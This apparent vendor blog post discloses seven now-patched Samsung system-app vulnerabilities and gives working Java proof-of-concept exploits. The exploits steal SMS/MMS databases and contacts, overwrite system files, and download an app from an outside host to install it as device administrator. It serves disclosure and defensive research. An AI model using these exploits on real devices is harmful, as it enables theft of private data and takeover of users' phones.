Two weeks of securing Samsung devices: Part 1

After spending two weeks looking for security bugs in the pre-installed apps on Samsung devices, we were able to find multiple dangerous vulnerabilities. In this blog, we will be going over them.

The impact of these bugs could have allowed an attacker to access and edit the victim’s contacts, calls, SMS/MMS, install arbitrary apps with device administrator rights, or read and write arbitrary files on behalf of a system user which could change the device’s settings.

These vulnerabilities could have led to a GDPR violation, and we are delighted that we could help Samsung identify and fix these vulnerabilities in a timely manner.

If you’re a developer or an app owner, you can integrate Oversecured into your CI/CD to proactively secure your apps against these vulnerabilities. The CI/CD process can also be fully automated using plugins. Our solutions will continuously monitor your apps and alert you if any new vulnerabilities are detected.

Start securing your apps by beginning a trial from Quick Start, or you can contact us here to learn more and get a demo.

If you’re a security researcher, you can automate the process of bug detection by using Oversecured’s mobile app scanner to scan for these bugs. All you have to do is sign up and upload your app’s files. Our scanner will take care of the rest.

Vulnerability table:

CVE SVE Affected app Description Reward amount
CVE-2021-25388 SVE-2021-20636 Knox Core (com.samsung.android.knox.containercore) Installation of arbitrary apps and device-wide theft of arbitrary files $1720
CVE-2021-25356 SVE-2021-20733 Managed Provisioning (com.android.managedprovisioning) Installing third-party apps and granting them Device Admin permissions $7000
CVE-2021-25391 SVE-2021-20500 Secure Folder (com.samsung.knox.securefolder) Gaining access to arbitrary* content providers $1050
CVE-2021-25393 SVE-2021-20731 SecSettings (com.android.settings) Gaining access to arbitrary* content providers leads to read/write access to arbitrary files as system user (UID 1000) $5460
CVE-2021-25392 SVE-2021-20690 Samsung DeX System UI (com.samsung.desktopsystemui) Ability to steal notification policy configuration $330
CVE-2021-25397 SVE-2021-20716 TelephonyUI (com.samsung.android.app.telephonyui) (Over-)writing arbitrary files as UID 1001 $4850
CVE-2021-25390 SVE-2021-20724 PhotoTable (com.android.dreams.phototable) Intent redirection leads to gaining access to arbitrary content providers $280

The vulnerability in Knox Core

First, we scanned the Knox Core app and discovered that an app was installed from the SD card: vulnerability

It also turned out that this functionality is activated via the exported service com.samsung.android.knox.containercore.provisioning.DualDARInitService:

<service android:name="com.samsung.android.knox.containercore.provisioning.DualDARInitService" android:exported="true">
   <intent-filter>
       <action android:name="com.samsung.android.knox.containercore.provisioning.DualDARInitService"/>
   </intent-filter>
</service>

An attacker could pass an arbitrary URI via the dualdar-config-client-location parameter, which will be copied to /sdcard/Android/data/com.samsung.android.knox.containercore/files/client_downloaded_knox_app.apk, which is a world-readable location.

After that, the app installation process will be launched:

private void proceedPrerequisiteForDualDARWithWPCOD(Intent intent) {
   if (intent.getBooleanExtra("DUAL_DAR_IS_WPCOD", false)) {
       int intExtra = intent.getIntExtra("android.intent.extra.user_handle", UserHandle.myUserId());
       Bundle bundleExtra = intent.getBundleExtra("DUAL_DAR_PARAMS");
       String string = bundleExtra.getString("dualdar-config-client-package", null);
       if (!TextUtils.isEmpty(string)) {
           DDLog.m4d("KNOXCORE::DualDARInitService", "Start proceedPrerequisiteForDualDARWithWPCOD 3rd-party crypto");
           String string2 = bundleExtra.getString("dualdar-config-client-location"); // attacker-controlled URI
           DDLog.m4d("KNOXCORE::DualDARInitService", "DualDARPolicy.KEY_CONFIG_CLIENT_LOCATION = " + string2);
           if (TextUtils.isEmpty(string2)) {
               notifyMPError(5);
           } else if (string2.startsWith("file://")) {
               String str = getExternalFilesDir(null) + "/client_downloaded_knox_app.apk";
               try {
                   // attacker-controlled file is copied to the public location
                   ((SemRemoteContentManager) this.mContext.getSystemService("rcp")).copyFile(intExtra, string2.replaceFirst("^file://", ""), intExtra, str);
                   installPackageTask(intent, string, str); // and then installed
               } catch (RemoteException unused) {
                   DDLog.m3e("KNOXCORE::DualDARInitService", "copyFile failed.");
                   notifyMPError(5);
               }
           } else if (string2.startsWith("https://")) {
               downloadPackageTask(intent, string, string2);
           } else {
               notifyMPError(5);
           }
       } else {
           DDLog.m4d("KNOXCORE::DualDARInitService", "Start proceedPrerequisiteForDualDARWithWPCOD native crypto");
           startRunnerTask(intent);
       }
   }
}

Proof of Concept for installing arbitrary apps

protected void onCreate(Bundle savedInstanceState) {
   super.onCreate(savedInstanceState);

   try {
       Bundle bundle = new Bundle();
       bundle.putString("dualdar-config-client-package", "test.exampleapp");
       bundle.putString("dualdar-config-client-location", Uri.fromFile(copyFile()).toString());

       Intent i = new Intent("com.samsung.android.knox.containercore.provisioning.DualDARInitService");
       i.setClassName("com.samsung.android.knox.containercore", "com.samsung.android.knox.containercore.provisioning.DualDARInitService");
       i.putExtra("DualDARServiceEventFlag", 500);
       i.putExtra("DUAL_DAR_IS_WPCOD", true);
       i.putExtra("DUAL_DAR_PARAMS", bundle);
       startService(i);
   }
   catch (Throwable th) {
       throw new RuntimeException(th);
   }
}

private File copyFile() throws Throwable {
   File file = new File(getApplicationInfo().dataDir, "app.apk");

   InputStream i = getAssets().open("app-release.apk");
   OutputStream o = new FileOutputStream(file);
   IOUtils.copy(i, o);
   i.close();
   o.close();
   return file;
}

Proof of Concept of SMS/MMS file theft

protected void onCreate(Bundle savedInstanceState) {
   super.onCreate(savedInstanceState);

   startDump();

   try {
       File dbPath = new File(getPackageManager().getApplicationInfo("com.android.providers.telephony", 0).dataDir, "databases/mmssms.db");

       Bundle bundle = new Bundle();
       bundle.putString("dualdar-config-client-package", "test.exampleapp");
       bundle.putString("dualdar-config-client-location", Uri.fromFile(dbPath).toString());

       Intent i = new Intent("com.samsung.android.knox.containercore.provisioning.DualDARInitService");
       i.setClassName("com.samsung.android.knox.containercore", "com.samsung.android.knox.containercore.provisioning.DualDARInitService");
       i.putExtra("DualDARServiceEventFlag", 500);
       i.putExtra("DUAL_DAR_IS_WPCOD", true);
       i.putExtra("DUAL_DAR_PARAMS", bundle);
       new Thread(() -> {
           for(int j = 1; j < 1000; j++) {
               startService(i);
               try {
                   Thread.sleep(500);
               } catch (Throwable th) {
                   throw new RuntimeException(th);
               }
           }
       }).start();
   }
   catch (Throwable th) {
       throw new RuntimeException(th);
   }
}

private void startDump() {
   final String path = "/sdcard/Android/data/com.samsung.android.knox.containercore/files/client_downloaded_knox_app.apk";

   ContentValues values = new ContentValues();
   values.put("_data", path);
   Uri uri = getContentResolver().insert(MediaStore.Files.getContentUri("external"), values);

   new Thread(new Runnable() {
       public void run() {
           while (true) {
               try {
                   InputStream i = getContentResolver().openInputStream(uri);
                   String data = IOUtils.toString(i);
                   Log.d("evil", data);
                   i.close();
               } catch (Throwable th) {
               }
           }
       }
   }).start();
}

The PoC works as follows:

  1. A service is launched to copy the required file to a public location (since this is an invalid APK file, it will be deleted immediately after an installation error),

  2. Then, the client_downloaded_knox_app.apk file is read.

Note: We use MediaStore.Files because the latest Android versions do not allow direct reading from external storages belonging to other apps, but this can be bypassed using the Android Media Content Provider.

The vulnerability in Managed Provisioning

Managed Provisioning is a pre-installed app on all Samsung devices and is used for corporate device customization.

Once again, while testing Managed Provisioning, we found a vulnerability on installing an app from a public directory: vulnerability

The original app was developed by AOSP and it had security checks to verify the authorization of any interactions. The Managed Provisioning app was modified by Samsung to add features which were needed to interact with their ecosystem and Knox Core.

Therefore, in the Samsung app, this check could be bypassed by setting the value com.samsung.knox.container.requestId:

int intExtra = intent.getIntExtra("com.samsung.knox.container.requestId", -1);
if (intExtra > 0) {
   ProvisionLogger.logw("Skipping verifyActionAndCaller"); // the bypass
} else if (!verifyActionAndCaller(intent, str)) {
   return;
}

Proof of Concept for installing custom apps and giving them Device Admin rights

This Proof of Concept was built by copying the code of the ProvisioningParams.Builder class and passing the standard parameters needed to configure Managed Provisioning, which included:

byte[] hash = Base64.decode("5VNuCGDQygiVg4S86BKhySBVJlOpDZs3YYYsJKIOtCQ", 0);
PackageDownloadInfo.Builder infoBuiler = PackageDownloadInfo.Builder.builder()
       .setLocation("https://redacted.s3.amazonaws.com/app-release.apk")
       .setPackageChecksum(hash)
       .setSignatureChecksum(hash);

ProvisioningParams.Builder builder = ProvisioningParams.Builder.builder()
       .setSkipUserConsent(true)
       .setDeviceAdminComponentName(new ComponentName("test.exampleapp", "test.exampleapp.MyReceiver"))
       .setDeviceAdminPackageName("test.exampleapp")
       .setProvisioningAction("android.app.action.PROVISION_MANAGED_DEVICE")
       .setDeviceAdminDownloadInfo(infoBuiler.build());

ProvisioningParams params = builder.build();

Intent i = new Intent("com.android.managedprovisioning.action.RESUME_PROVISIONING");
i.setClassName("com.android.managedprovisioning", "com.android.managedprovisioning.preprovisioning.PreProvisioningActivity");
i.putExtra("provisioningParams", params);
i.putExtra("com.samsung.knox.container.requestId", 1);
i.putExtra("com.samsung.knox.container.configType", "knox-do-basic");
startActivity(i);

After opening the app, this is what happened:

  1. Managed Provisioning was forced to download a malicious app from the attacker-specified link
  2. The malicious app installed in Step 1 was made a device administrator with an arbitrary set of rights
  3. A process was initiated which would remove all the other apps installed on the same device.

The attack looked like this:

The vulnerability in Secure Folder

Secure Folder is a secure file storage app which is pre-installed on Samsung devices. It has a large set of rights that an attacker could intercept by exploiting the vulnerability found in accessing arbitrary* content providers: vulnerability

Once an attacker receives the intent which was sent by them, they would be able to intercept the rights.

As a PoC, we intercepted the rights to read/write contacts:

protected void onCreate(Bundle savedInstanceState) {
   super.onCreate(savedInstanceState);

   Intent i = new Intent();
   i.setClassName("com.samsung.knox.securefolder", "com.samsung.knox.securefolder.containeragent.ui.settings.KnoxSettingCheckLockTypeActivity");
   i.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
   i.setData(ContactsContract.RawContacts.CONTENT_URI);
   startActivityForResult(i, 0);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
   super.onActivityResult(requestCode, resultCode, data);

   dump(data.getData());
}

private void dump(Uri uri) {
   Cursor cursor = getContentResolver().query(uri, null, null, null, null);
   if (cursor.moveToFirst()) {
       do {
           StringBuilder sb = new StringBuilder();
           for (int i = 0; i < cursor.getColumnCount(); i++) {
               if (sb.length() > 0) {
                   sb.append(", ");
               }
               sb.append(cursor.getColumnName(i) + " = " + cursor.getString(i));
           }
           Log.d("evil", sb.toString());
       }
       while (cursor.moveToNext());
   }
}

The vulnerability in SecSettings

SecSettings is Samsung’s pre-installed settings app.

The vulnerability on reading and writing arbitrary files from UID 1000 (system) consists of two components:

  • gaining access to arbitrary* content providers
  • exploiting an insecure FileProvider in the com.sec.imsservice app

vulnerability

This chain is only possible because both apps use the same shared UID specified in their AndroidManifest.xml: android:sharedUserId="android.uid.system". In fact, this setting means that two different apps can share absolutely all resources and have full access to each other’s components. The vulnerability in SecSettings is Google’s. It was reported to the Android VDP. The reward is $2000. We will disclose the details of this issue in the Part 2 article.

The vulnerability in Samsung DeX System UI

This vulnerability allowed an attacker to steal data from user notifications, which would typically include chat descriptions for Telegram, Google Docs folders, Samsung Email and Gmail inboxes, and information from notifications of other apps.

The attacker could also activate the functionality to create a backup in the world-readable directory on the SD card: vulnerability

Since the file was deleted immediately after creating a backup, we added a functionality to create a backup copy to prevent this.

Proof of Concept:

final File root = Environment.getExternalStorageDirectory();
final File policyFile = new File(root, "notification_policy.xml");
final File backupCopy = new File(root, "backup");

Intent i = new Intent("com.samsung.android.intent.action.REQUEST_BACKUP_NOTIFICATION");
i.setClassName("com.samsung.desktopsystemui", "com.samsung.desktopsystemui.NotificationBackupRestoreManager$NotificationBnRReceiver");
i.putExtra("SAVE_PATH", root.getAbsolutePath());
i.putExtra("SESSION_KEY", "not_empty");
sendBroadcast(i);

new Thread(() -> {
   while (true) {
       if(policyFile.exists()) {
           try {
               InputStream i = new FileInputStream(policyFile);
               OutputStream o = new FileOutputStream(backupCopy);
               IOUtils.copy(i, o);
               i.close();
               o.close();
           } catch (Throwable th) {
               throw new RuntimeException(th);
           }
       }
   }
}).start();

The vulnerability in TelephonyUI

The receiver com.samsung.android.app.telephonyui.carrierui.photoring.model.PhotoringReceiver is exported. It saves files from the URL specified in photoring_uri to the path specified in down_file. This was detected by the Oversecured Android scanner:

vulnerability

The only requirement is that the content-type of the server response should be image/* or video/*. Therefore, we used the filename test.mp4 and Amazon S3 automatically specified the video/mp4 content type in the response.

Proof of Concept:

File dbPath = new File(getPackageManager().getApplicationInfo("com.android.providers.telephony", 0).dataDir, "databases/mmssms.db");

Intent i = new Intent("com.samsung.android.app.telephonyui.action.DOWNLOAD_PHOTORING");
i.setClassName("com.samsung.android.app.telephonyui", "com.samsung.android.app.telephonyui.carrierui.photoring.model.PhotoringReceiver");
i.putExtra("photoring_uri", "https://redacted.s3.amazonaws.com/test.mp4");
i.putExtra("down_file", dbPath.getAbsolutePath());
sendBroadcast(i);

As a result, the file with SMS/MMS messages was overwritten with attacker-controlled content.

The vulnerability in PhotoTable

In PhotoTable, we found intent redirection, which allowed access to content providers to be intercepted: vulnerability

We used this vulnerability to hijack the rights to access the SD card. Here is the Proof of Concept:

protected void onCreate(Bundle savedInstanceState) {
   super.onCreate(savedInstanceState);
   handle(getIntent());
}

protected void onNewIntent(Intent intent) {
   super.onNewIntent(intent);
   handle(intent);
}

private void handle(Intent intent) {
   if("evil".equals(intent.getAction())) {
       String uri = MediaStore.Images.Media.insertImage(getContentResolver(),
               Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888),
               "Title_1337",
               "Description_1337");
       Log.d("evil", "Result: " + uri);
   }
   else {
       Intent next = new Intent("evil", MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
       next.setFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
       next.setClass(this, getClass());

       Intent i = new Intent();
       i.setClassName("com.android.dreams.phototable", "com.android.dreams.phototable.PermissionsRequestActivity");
       i.putExtra("previous_intent", next);
       i.putExtra("permission_list", new String[0]);
       startActivity(i);
   }
}

Preventing these vulnerabilities

It can be extremely helpful to detect these bug early: Oversecured’s mobile app scanner lets users do that, and notifies them about all the vectors mentioned above in the scan report. Contact us here, and we can provide you with a demo to try it out.